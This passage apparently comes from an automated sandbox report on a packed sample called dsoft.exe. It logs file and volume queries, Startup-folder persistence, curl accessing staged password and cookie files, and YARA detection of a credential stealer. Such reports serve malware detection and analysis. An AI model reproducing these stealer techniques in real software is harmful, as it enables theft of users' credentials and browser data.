            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\win32 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Pythonwin VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\pywin32_system32 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\setuptools-65.5.0.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\setuptools-65.5.0.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\setuptools-65.5.0.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\setuptools-65.5.0.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\setuptools-65.5.0.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\setuptools-65.5.0.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Windows\System32\curl.exeQueries volume information: C:\Users\user\AppData\Local\Temp\crpasswords.txt VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\PublicKey VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Util VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\certifi VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\setuptools-65.5.0.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\setuptools-65.5.0.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\setuptools-65.5.0.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\setuptools-65.5.0.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\setuptools-65.5.0.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\setuptools-65.5.0.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\win32 VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\win32 VolumeInformationJump to behavior
            Source: C:\Windows\System32\curl.exeQueries volume information: C:\Users\user\AppData\Local\Temp\crcookies.txt VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI22482\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeCode function: 0_2_00007FF7B32EC470 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,0_2_00007FF7B32EC470
            Source: C:\Users\user\Desktop\dsoft.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

            Stealing of Sensitive Information

            barindex
            Yara detected Creal Stealer
            Source: Yara matchFile source: 00000001.00000003.2534735683.000002948994D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000003.2420158932.000001FA5CE4D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000003.2449803777.000001FA5CE4D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000002.2716449819.000001FA5D4E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000003.2676477196.000001FA5CC7A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000003.2534412343.000002948994A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000003.2251126528.000002948994A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: dsoft.exe PID: 7128, type: MEMORYSTR
            Source: Yara matchFile source: Process Memory Space: dsoft.exe PID: 4336, type: MEMORYSTR
            Tries to harvest and steal browser information (history, passwords, etc)
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BookmarksJump to behavior
